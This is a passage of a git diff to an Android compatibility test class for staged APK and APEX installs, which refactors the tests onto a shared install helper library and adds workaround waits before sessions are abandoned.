-            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
-        }
-    }
 }
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 968960a..6aa8be6 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -16,6 +16,7 @@
 
 package com.android.tests.stagedinstall;
 
+import static com.android.cts.install.lib.InstallUtils.getPackageInstaller;
 import static com.android.tests.stagedinstall.PackageInstallerSessionInfoSubject.assertThat;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -32,10 +33,15 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.util.Log;
-import android.util.Pair;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -47,6 +53,7 @@
 import java.io.File;
 import java.io.FileReader;
 import java.io.FileWriter;
+import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.nio.file.Files;
@@ -82,12 +89,6 @@
 
     private static final String TAG = "StagedInstallTest";
 
-    private static final String TEST_APP_A = "com.android.tests.stagedinstall.testapp.A";
-    private static final String TEST_APP_B = "com.android.tests.stagedinstall.testapp.B";
-    private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
-    private static final String NOT_PRE_INSTALLED_SHIM_APEX_PACKAGE_NAME =
-            "com.android.apex.cts.shim_not_pre_installed";
-
     private File mTestStateFile = new File(
             InstrumentationRegistry.getInstrumentation().getContext().getFilesDir(),
             "ctsstagedinstall_state");
@@ -95,6 +96,10 @@
     private static final Duration WAIT_FOR_SESSION_REMOVED_TTL = Duration.ofSeconds(10);
     private static final Duration SLEEP_DURATION = Duration.ofMillis(200);
 
+    private static final TestApp TESTAPP_SAME_NAME_AS_APEX = new TestApp(
+            "TestAppSamePackageNameAsApex", "com.android.apex.cts.shim", 1, /*isApex*/ false,
+            "StagedInstallTestAppSamePackageNameAsApex.apk");
+
     @Before
     public void adoptShellPermissions() {
         InstrumentationRegistry
@@ -133,8 +138,7 @@
                 Log.e(TAG, "Failed to abandon session " + sessionInfo.getSessionId(), e);
             }
         }
-        uninstall(TEST_APP_A);
-        uninstall(TEST_APP_B);
+        Uninstall.packages(TestApp.A, TestApp.B);
         Files.deleteIfExists(mTestStateFile.toPath());
     }
 
@@ -156,20 +160,19 @@
 
     @Test
     public void testInstallStagedApk_Commit() throws Exception {
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
     }
 
     @Test
     public void testInstallStagedApk_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
     }
 
     @Test
@@ -184,83 +187,91 @@
 
     @Test
     public void testInstallMultipleStagedApks_Commit() throws Exception {
-        int sessionId = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk")
+        int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
                 .assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
     }
 
     @Test
     public void testInstallMultipleStagedApks_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
     }
 
     @Test
     public void testFailInstallAnotherSessionAlreadyInProgress_BothSinglePackage()
             throws Exception {
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        StageSessionResult failedSessionResult = stageSingleApk("StagedInstallTestAppAv1.apk");
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        StageSessionResult failedSessionResult = stageSingleApk(TestApp.A1);
         assertThat(failedSessionResult.getErrorMessage()).contains(
                 "There is already in-progress committed staged session");
+        // Currently abandoning a session before pre-reboot verification finishes might result in
+        // a system_server crash. Before that issue is resolved we need to manually wait for
+        // pre-reboot verification to finish before abandoning sessions.
+        // TODO(b/145925842): remove following line after fixing the bug.
+        waitForIsReadyBroadcast(sessionId);
         getPackageInstaller().abandonSession(sessionId);
     }
 
     @Test
     public void testFailInstallAnotherSessionAlreadyInProgress_SinglePackageMultiPackage()
             throws Exception {
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        StageSessionResult failedSessionResult = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk");
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        StageSessionResult failedSessionResult = stageMultipleApks(TestApp.A1, TestApp.B1);
         assertThat(failedSessionResult.getErrorMessage()).contains(
                 "There is already in-progress committed staged session");
+        // Currently abandoning a session before pre-reboot verification finishes might result in
+        // a system_server crash. Before that issue is resolved we need to manually wait for
+        // pre-reboot verification to finish before abandoning sessions.
+        // TODO(b/145925842): remove following line after fixing the bug.
+        waitForIsReadyBroadcast(sessionId);
         getPackageInstaller().abandonSession(sessionId);
     }
 
     @Test
     public void testFailInstallAnotherSessionAlreadyInProgress_MultiPackageSinglePackage()
             throws Exception {
-        int sessionId = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk").assertSuccessful().getSessionId();
-        StageSessionResult failedSessionResult = stageSingleApk(
-                "StagedInstallTestAppAv1.apk");
+        int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
+                .assertSuccessful().getSessionId();
+        StageSessionResult failedSessionResult = stageSingleApk(TestApp.A1);
         assertThat(failedSessionResult.getErrorMessage()).contains(
                 "There is already in-progress committed staged session");
+        // Currently abandoning a session before pre-reboot verification finishes might result in
+        // a system_server crash. Before that issue is resolved we need to manually wait for
+        // pre-reboot verification to finish before abandoning sessions.
+        // TODO(b/145925842): remove following line after fixing the bug.
+        waitForIsReadyBroadcast(sessionId);
         getPackageInstaller().abandonSession(sessionId);
     }
 
     @Test
     public void testFailInstallAnotherSessionAlreadyInProgress_BothMultiPackage()
             throws Exception {
-        int sessionId = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk").assertSuccessful().getSessionId();
-        StageSessionResult failedSessionResult = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk");
+        int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
+                .assertSuccessful().getSessionId();
+        StageSessionResult failedSessionResult = stageMultipleApks(TestApp.A1, TestApp.B1);
         assertThat(failedSessionResult.getErrorMessage()).contains(
                 "There is already in-progress committed staged session");
+        // Currently abandoning a session before pre-reboot verification finishes might result in
+        // a system_server crash. Before that issue is resolved we need to manually wait for
+        // pre-reboot verification to finish before abandoning sessions.
+        // TODO(b/145925842): remove following line after fixing the bug.
+        waitForIsReadyBroadcast(sessionId);
         getPackageInstaller().abandonSession(sessionId);
     }
 
     @Test
     public void testAbandonStagedApkBeforeReboot_CommitAndAbandon() throws Exception {
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         waitForIsReadyBroadcast(sessionId);
         PackageInstaller.SessionInfo session = getStagedSessionInfo(sessionId);
         assertSessionReady(sessionId);
@@ -287,16 +298,20 @@
 
     @Test
     public void testAbandonStagedApkBeforeReboot_VerifyPostReboot() throws Exception {
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
     }
 
     @Test
     public void testGetActiveStagedSession() throws Exception {
         PackageInstaller packageInstaller = getPackageInstaller();
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
         PackageInstaller.SessionInfo session = packageInstaller.getActiveStagedSession();
         assertThat(session.getSessionId()).isEqualTo(sessionId);
+        // Currently abandoning a session before pre-reboot verification finishes might result in
+        // a system_server crash. Before that issue is resolved we need to manually wait for
+        // pre-reboot verification to finish before abandoning sessions.
+        // TODO(b/145925842): remove following line after fixing the bug.
+        waitForIsReadyBroadcast(sessionId);
     }
 
     @Test
@@ -308,32 +323,33 @@
 
     @Test
     public void testGetGetActiveStagedSession_MultiApkSession() throws Exception {
-        int sessionId = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk")
+        int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
                 .assertSuccessful().getSessionId();
         PackageInstaller.SessionInfo session = getPackageInstaller().getActiveStagedSession();
         assertThat(session.getSessionId()).isEqualTo(sessionId);
+        // Currently abandoning a session before pre-reboot verification finishes might result in
+        // a system_server crash. Before that issue is resolved we need to manually wait for
+        // pre-reboot verification to finish before abandoning sessions.
+        // TODO(b/145925842): remove following line after fixing the bug.
+        waitForIsReadyBroadcast(sessionId);
     }
 
     @Test
     public void testStagedInstallDowngrade_DowngradeNotRequested_Fails_Commit()  throws Exception {
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        installNonStaged("StagedInstallTestAppAv2.apk");
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        Install.single(TestApp.A2).commit();
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
         PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
         assertThat(sessionInfo).isStagedSessionFailed();
     }
 
     @Test
     public void testStagedInstallDowngrade_DowngradeRequested_Commit() throws Exception {
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        installNonStaged("StagedInstallTestAppAv2.apk");
-        int sessionId = stageDowngradeSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        Install.single(TestApp.A2).commit();
+        int sessionId = stageDowngradeSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
@@ -341,11 +357,10 @@
 
     @Test
     public void testStagedInstallDowngrade_DowngradeRequested_Fails_Commit() throws Exception {
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        installNonStaged("StagedInstallTestAppAv2.apk");
-        int sessionId = stageDowngradeSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        Install.single(TestApp.A2).commit();
+        int sessionId = stageDowngradeSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
         PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
         assertThat(sessionInfo).isStagedSessionFailed();
     }
@@ -356,49 +371,47 @@
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         // App should be downgraded.
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
     }
 
     @Test
     public void testInstallStagedApex_Commit() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        int sessionId = stageSingleApk(
-                "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        int sessionId = stageSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
         // Version shouldn't change before reboot.
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
     }
 
     @Test
     public void testInstallStagedApex_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
     }
 
     @Test
     public void testInstallStagedApexAndApk_Commit() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        int sessionId = stageMultipleApks(
-                "com.android.apex.cts.shim.v2.apex",
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        int sessionId = stageMultipleApks(TestApp.Apex2, TestApp.A1)
+                .assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
         // Version shouldn't change before reboot.
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
     }
 
     @Test
     public void testInstallStagedApexAndApk_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
     }
 
     @Test
@@ -418,9 +431,9 @@
 
     @Test
     public void testInstallStagedNonPreInstalledApex_Fails() throws Exception {
-        assertThat(getInstalledVersion(NOT_PRE_INSTALLED_SHIM_APEX_PACKAGE_NAME)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.NotPreInstalledApex)).isEqualTo(-1);
         int sessionId = stageSingleApk(
-                "com.android.apex.cts.shim_not_pre_installed.apex")
+                TestApp.ApexNotPreInstalled)
                 .assertSuccessful().getSessionId();
         PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
         assertThat(sessionInfo).isStagedSessionFailed();
@@ -428,9 +441,9 @@
 
     @Test
     public void testStageApkWithSameNameAsApexShouldFail_Commit() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppSamePackageNameAsApex.apk").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        int sessionId = stageSingleApk(TESTAPP_SAME_NAME_AS_APEX)
+                .assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
@@ -440,28 +453,21 @@
     public void testStageApkWithSameNameAsApexShouldFail_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionFailed(sessionId);
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
     }
 
     @Test
     public void testNonStagedInstallApkWithSameNameAsApexShouldFail() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        PackageInstaller packageInstaller = getPackageInstaller();
-        PackageInstaller.SessionParams sessionParams = new PackageInstaller.SessionParams(
-                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
-        int sessionId = packageInstaller.createSession(sessionParams);
-        PackageInstaller.Session session = packageInstaller.openSession(sessionId);
-        writeApk(session, "StagedInstallTestAppSamePackageNameAsApex.apk");
-        session.commit(LocalIntentSender.getIntentSender());
-        final String errorMessage = extractErrorMessage(LocalIntentSender.getIntentSenderResult());
-        assertThat(errorMessage).contains("is an APEX package and can't be installed as an APK");
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        InstallUtils.commitExpectingFailure(AssertionError.class,
+                "is an APEX package and can't be installed as an APK",
+                Install.single(TESTAPP_SAME_NAME_AS_APEX));
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
     }
 
     @Test
     public void testInstallV3Apex_Commit() throws Exception {
-        int sessionId = stageSingleApk(
-                "com.android.apex.cts.shim.v3.apex").assertSuccessful().getSessionId();
+        int sessionId = stageSingleApk(TestApp.Apex3).assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
@@ -471,15 +477,14 @@
     public void testInstallV3Apex_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
     }
 
     @Test
     public void testStagedInstallDowngradeApex_DowngradeNotRequested_Fails_Commit()
             throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
-        int sessionId = stageSingleApk(
-                "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        int sessionId = stageSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
         PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
         assertThat(sessionInfo).isStagedSessionFailed();
         // Also verify that correct session info is reported by PackageManager.
@@ -493,15 +498,14 @@
         int sessionId = retrieveLastSessionId();
         assertSessionFailed(sessionId);
         // INSTALL_REQUEST_DOWNGRADE wasn't set, so apex shouldn't be downgraded.
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
     }
 
     @Test
     public void testStagedInstallDowngradeApex_DowngradeRequested_DebugBuild_Commit()
             throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
-        int sessionId = stageDowngradeSingleApk(
-                "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        int sessionId = stageDowngradeSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
@@ -513,15 +517,14 @@
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         // Apex should be downgraded.
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
     }
 
     @Test
     public void testStagedInstallDowngradeApex_DowngradeRequested_UserBuild_Fails_Commit()
             throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
-        int sessionId = stageDowngradeSingleApk(
-                "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        int sessionId = stageDowngradeSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
         PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
         assertThat(sessionInfo).isStagedSessionFailed();
         // Also verify that correct session info is reported by PackageManager.
@@ -535,25 +538,20 @@
         int sessionId = retrieveLastSessionId();
         assertSessionFailed(sessionId);
         // Apex shouldn't be downgraded.
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
     }
 
     @Test
     public void testInstallApex_DeviceDoesNotSupportApex_Fails() throws Exception {
-        try {
-            stageSingleApk("com.android.apex.cts.shim.v2.apex");
-            fail("IllegalArgumentException expected");
-        } catch (IllegalArgumentException expected) {
-            assertThat(expected.getMessage()).contains(
-                    "This device doesn't support the installation of APEX files");
-        }
+        InstallUtils.commitExpectingFailure(IllegalArgumentException.class,
+                "This device doesn't support the installation of APEX files",
+                Install.single(TestApp.Apex2).setStaged());
     }
 
     @Test
     public void testFailsInvalidApexInstall_Commit() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        int sessionId = stageSingleApk(
-                "com.android.apex.cts.shim.v2_wrong_sha.apex").assertSuccessful()
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        int sessionId = stageSingleApk(TestApp.ApexWrongSha2).assertSuccessful()
                 .getSessionId();
         waitForIsFailedBroadcast(sessionId);
         assertSessionFailed(sessionId);
@@ -603,13 +601,12 @@
         };
 
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        PackageInstaller packageInstaller = context.getPackageManager().getPackageInstaller();
+        PackageInstaller packageInstaller = getPackageInstaller();
         packageInstaller.registerSessionCallback(callback, handler);
 
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
 
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
 
@@ -627,9 +624,24 @@
         packageInstaller.abandonSession(sessionId);
     }
 
-    private static PackageInstaller getPackageInstaller() {
-        return InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
-                .getPackageInstaller();
+    @Test
+    public void testInstallStagedApexWithoutApexSuffix_Commit() throws Exception {
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+
+        int sessionId = stageSingleApk("com.android.apex.cts.shim.v2.apex", "package")
+                .assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+        assertSessionReady(sessionId);
+        storeSessionId(sessionId);
+        // Version shouldn't change before reboot.
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+    }
+
+    @Test
+    public void testInstallStagedApexWithoutApexSuffix_VerifyPostReboot() throws Exception {
+        int sessionId = retrieveLastSessionId();
+        assertSessionApplied(sessionId);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
     }
 
     private static long getInstalledVersion(String packageName) {
@@ -646,73 +658,52 @@
     // It becomes harder to maintain this variety of install-related helper methods.
     // TODO(ioffe): refactor install-related helper methods into a separate utility.
     private static int createStagedSession() throws Exception {
-        return createStagedSession(getPackageInstaller(), false, false, false);
+        return Install.single(TestApp.A1).setStaged().createSession();
     }
 
-    private static int createStagedSession(
-            PackageInstaller packageInstaller,
-            boolean multiPackage, boolean isDowngrade, boolean isApexSession) throws Exception {
-        PackageInstaller.SessionParams sessionParams = new PackageInstaller.SessionParams(
-                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
-        if (multiPackage) {
-            sessionParams.setMultiPackage();
-        }
-        sessionParams.setStaged();
-        sessionParams.setRequestDowngrade(isDowngrade);
-        if (isApexSession) {
-            sessionParams.setInstallAsApex();
-        }
-
-        return packageInstaller.createSession(sessionParams);
+    private static void commitSession(int sessionId) throws IOException {
+        InstallUtils.openPackageInstallerSession(sessionId)
+                .commit(LocalIntentSender.getIntentSender());
     }
 
-    private static StageSessionResult stageDowngradeSingleApk(String apkFileName) throws Exception {
-        Log.i(TAG, "Staging a downgrade of " + apkFileName);
-        PackageInstaller packageInstaller = getPackageInstaller();
-
-        Pair<Integer, PackageInstaller.Session> sessionPair =
-                prepareSingleApkStagedSession(packageInstaller, apkFileName, true);
+    private static StageSessionResult stageDowngradeSingleApk(TestApp testApp) throws Exception {
+        Log.i(TAG, "Staging a downgrade of " + testApp);
+        int sessionId = Install.single(testApp).setStaged().setRequestDowngrade().createSession();
         // Commit the session (this will start the installation workflow).
-        Log.i(TAG, "Committing downgrade session for apk: " + apkFileName);
-        sessionPair.second.commit(LocalIntentSender.getIntentSender());
-        return new StageSessionResult(sessionPair.first, LocalIntentSender.getIntentSenderResult());
+        Log.i(TAG, "Committing downgrade session for apk: " + testApp);
+        commitSession(sessionId);
+        return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
     }
 
-    private static StageSessionResult stageSingleApk(String apkFileName) throws Exception {
+    private static StageSessionResult stageSingleApk(String apkFileName, String outputFileName)
+            throws Exception {
         Log.i(TAG, "Staging an install of " + apkFileName);
-        PackageInstaller packageInstaller = getPackageInstaller();
-
-        Pair<Integer, PackageInstaller.Session> sessionPair =
-                prepareSingleApkStagedSession(packageInstaller, apkFileName, false);
+        // this is a trick to open an empty install session so we can manually write the package
+        // using writeApk
+        TestApp empty = new TestApp(null, null, -1,
+                apkFileName.endsWith(".apex"));
+        int sessionId = Install.single(empty).setStaged().createSession();
+        PackageInstaller.Session session = InstallUtils.openPackageInstallerSession(sessionId);
+        writeApk(session, apkFileName, outputFileName);
         // Commit the session (this will start the installation workflow).
         Log.i(TAG, "Committing session for apk: " + apkFileName);
-        sessionPair.second.commit(LocalIntentSender.getIntentSender());
-        return new StageSessionResult(sessionPair.first, LocalIntentSender.getIntentSenderResult());
+        commitSession(sessionId);
+        return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
     }
 
-    private static Pair<Integer, PackageInstaller.Session>
-            prepareSingleApkStagedSession(PackageInstaller packageInstaller, String apkFileName,
-            boolean isDowngrade)
-            throws Exception {
-        int sessionId = createStagedSession(packageInstaller, false, isDowngrade,
-                apkFileName.endsWith(".apex"));
-        PackageInstaller.Session session = packageInstaller.openSession(sessionId);
-        writeApk(session, apkFileName);
-        return new Pair<>(sessionId, session);
+    private static StageSessionResult stageSingleApk(TestApp testApp) throws Exception {
+        Log.i(TAG, "Staging an install of " + testApp);
+        int sessionId = Install.single(testApp).setStaged().createSession();
+        // Commit the session (this will start the installation workflow).
+        Log.i(TAG, "Committing session for apk: " + testApp);
+        commitSession(sessionId);
+        return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
     }
 
-    private static StageSessionResult stageMultipleApks(String... apkFileNames) throws Exception {
-        Log.i(TAG, "Staging an install of " + Arrays.toString(apkFileNames));
-        PackageInstaller packageInstaller = getPackageInstaller();
-        int multiPackageSessionId = createStagedSession(packageInstaller, true, false, false);
-        PackageInstaller.Session multiPackageSession = packageInstaller.openSession(
-                multiPackageSessionId);
-        for (String apkFileName : apkFileNames) {
-            Pair<Integer, PackageInstaller.Session> sessionPair =
-                    prepareSingleApkStagedSession(packageInstaller, apkFileName, false);
-            multiPackageSession.addChildSessionId(sessionPair.first);
-        }
-        multiPackageSession.commit(LocalIntentSender.getIntentSender());
+    private static StageSessionResult stageMultipleApks(TestApp... testApps) throws Exception {
+        Log.i(TAG, "Staging an install of " + Arrays.toString(testApps));
+        int multiPackageSessionId = Install.multi(testApps).setStaged().createSession();
+        commitSession(multiPackageSessionId);
